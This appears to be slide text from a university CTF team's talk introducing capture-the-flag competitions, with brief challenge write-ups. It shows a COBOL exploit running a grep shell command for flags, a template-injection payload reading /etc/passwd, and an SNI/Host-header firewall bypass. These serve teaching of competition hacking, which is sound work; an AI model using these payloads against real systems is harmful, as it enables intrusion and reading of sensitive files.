
Capture all the Flags!



HgbSec

•

•

•

•



Hagenberger CTF-Teams
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•

•

•

•



CTF? WTF?
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•

•

•

•
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Jeopardy CTFs

•

• dctf{1_L1k3_M4G1c}

•

•

•









Attack-Defense CTFs
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•

•

•
•

•

•

•



Attack-Defense CTFs

https://www.youtube.com/watch?v=RkaLyji9pNs






Mitmachen

•

•

•

•

•



CTFtime.org

•

•

•

•

•



Challenges

•

•

•

•



WPI CTF 2021 – Pokemon



FAUST 2019 – Punchy

•

•

•

•



Checksystem



Checksystem

IDENTIFICATION DIVISION.                                                 

PROGRAM-ID. FLAG.                                                        

DATA DIVISION. WORKING-STORAGE SECTION. 01 FLG.                          

05 FLGBASE32A PIC X(32) VALUE "IZAVKU2UL5ME63DWOBEVSQSTJNCFETLX".        

05 FLGBASE32B PIC X(32) VALUE "IFAUCQKEIREDK5CEIJHDSSCSKZGEC===";.        

PROCEDURE DIVISION. BEGIN. DISPLAY FLG. STOP RUN. 



Exploit



Exploit

IDENTIFICATION DIVISION. 

PROGRAM-ID. HELLO.                                                       

PROCEDURE DIVISION. BEGIN.

CALL "SYSTEM" USING

FUNCTION LOWER-CASE("GREP -A -I FLGBASE DATA/*"). STOP RUN. 



Patch

$ chmod -r data



VolgaCTF 2020 – Newsletter



Source



Server-side Template Injection



RFC 2822

"{{'/etc/passwd'|file_excerpt(0,-1)}}"@...



Hack.lu 2020 – FluxCloud Frontline



Übersicht

https://fh4ntke.medium.com/fluxcloud-frontline-writeup-8e2dbf095d57


Firewall: HAProxy



Bypass Firewall

•

•

$ echo -en "GET / HTTP/1.1\nHost: 
secret.frontline.cloud.flu.xxx\n\n" | openssl
s_client -connect public.frontline.cloud.flu.xxx:443
-servername public.frontline.cloud.flu.xxx -quiet 
2>/dev/null



Router: nginx



Bypass Router

https://fh4ntke.medium.com/fluxcloud-frontline-writeup-8e2dbf095d57


Bypass Router

•

•

•

•




